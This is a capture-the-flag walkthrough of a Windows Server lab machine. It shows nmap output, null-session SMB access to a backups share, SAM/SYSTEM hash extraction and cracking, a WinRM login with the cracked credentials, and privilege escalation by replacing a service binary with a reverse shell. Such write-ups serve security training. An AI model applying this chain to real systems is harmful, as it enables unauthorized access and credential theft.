sudo nmap -p- -f -A

135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2016 Datacenter 14393 microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: SAM
|   NetBIOS_Domain_Name: SAM
|   NetBIOS_Computer_Name: SAM
|   DNS_Domain_Name: SAM
|   DNS_Computer_Name: SAM                                                                                                                                                                                                                 
|   Product_Version: 10.0.14393                                                                                                                                                                                                            
|_  System_Time: 2020-12-12T15:22:30+00:00                                                                                                                                                                                                 
| ssl-cert: Subject: commonName=SAM                                                                                                                                                                                                        
| Not valid before: 2020-12-11T09:05:40                                                                                                                                                                                                    
|_Not valid after:  2021-06-12T09:05:40                                                                                                                                                                                                    
|_ssl-date: 2020-12-12T15:22:36+00:00; -1s from scanner time.                                                                                                                                                                              
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)                                                                                                                                                                      
|_http-server-header: Microsoft-HTTPAPI/2.0                                                                                                                                                                                                
|_http-title: Not Found                                                                                                                                                                                                                    
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)                                                                                                                                                                      
|_http-server-header: Microsoft-HTTPAPI/2.0                                                                                                                                                                                                
|_http-title: Not Found                                                                                                                                                                                                                    
49664/tcp open  msrpc         Microsoft Windows RPC                                                                                                                                                                                        
49665/tcp open  msrpc         Microsoft Windows RPC                                                                                                                                                                                        
49666/tcp open  msrpc         Microsoft Windows RPC                                                                                                                                                                                        
49668/tcp open  msrpc         Microsoft Windows RPC                                                                                                                                                                                        
49669/tcp open  msrpc         Microsoft Windows RPC                                                                                                                                                                                        
49675/tcp open  msrpc         Microsoft Windows RPC                                                                                                                                                                                        
49676/tcp open  msrpc         Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see ).

Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: SAM, NetBIOS user: <unknown>, NetBIOS MAC: 02:db:2b:36:2f:a4 (unknown)
| smb-os-discovery: 
|   OS: Windows Server 2016 Datacenter 14393 (Windows Server 2016 Datacenter 6.3)
|   Computer name: SAM
|   NetBIOS computer name: SAM\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-12-12T15:22:31+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-12-12T15:22:31
|_  start_date: 2020-12-12T09:05:41

TRACEROUTE (using port 995/tcp)
1   30.56 ms
2   31.60 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 132.68 seconds


As we have SMB open we can do some quick checks for null authentication.

We are able to enumerate the backups share on the host and then connect to it with the following command to gain a SMB shell with null authentication.

smbclient -U "" \\\\\\backups


As it looks like a backup of the system we should see if the SAM and SYSTEM files have been backed up. Normally these files are locked when the system is running but if backed up hopefully we will be able to download them.

First we need to go the directory Windows\System32\Config and then use the get command to download the files.

Kali Linux comes pre-installed with a tool called samdump2. We can combine the SYSTEM and SAM file with this tool to extract local user accounts and hashes.

samdump2 SYSTEM SAM -o /home/kali/SAMhashes.txt

Once completed we can cat the file to confirm if we have extracted account hashes.

Password Cracking

From here we can remove the '*disabled*' lines so they do not effect the outcome of cracking tools such as John.

We can then use the following command with John to attempt to crack the hashes.

sudo john --format=NT --wordlist=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt /home/kali/Desktop/SAMhashes

We have the following credentials cracked: jamie:rangers.

Initial Foothold

As port 5985 is open we can attempt to connect with Evil-WinRM.

evil-winrm -u jamie -p rangers -i -s /home/kali/scripts/windows/

Privilege Escalation

I checked systeminfo in which we have no access to perform.

I then run powerup.ps1 and JAWS.ps1 and was not able to identify any interesting points of escalation. However, after running the services command we see something worth looking into.

The services monitor1 and monitor2 are not default services and should be looked into. I queried monitor1 with sc.exe and received the following:

As the service is run by LocalSystem this will be an ideal candidate for privilege escalation if we can replace the binary with one of our own.

Lets move to the directory and see if we can delete the binary and if we can we should be able to replace it with a malicious binary.

I was able to delete the binary. I will now create a reverse shell with msfvenom, name it monitor1.exe and attempt to start the service.

After this has completed we can then upload it with Evil-WinRM.

Create a netcat listener on the attacking machine to the port defined in the msfvenom payload.

Then start the service with sc.exe on the victim machine.

sc.exe start monitor1

We can now grab the system flags.

As the Administrator account was disabled on the system we can now enable the account. Change the password and login with the Administrator account.

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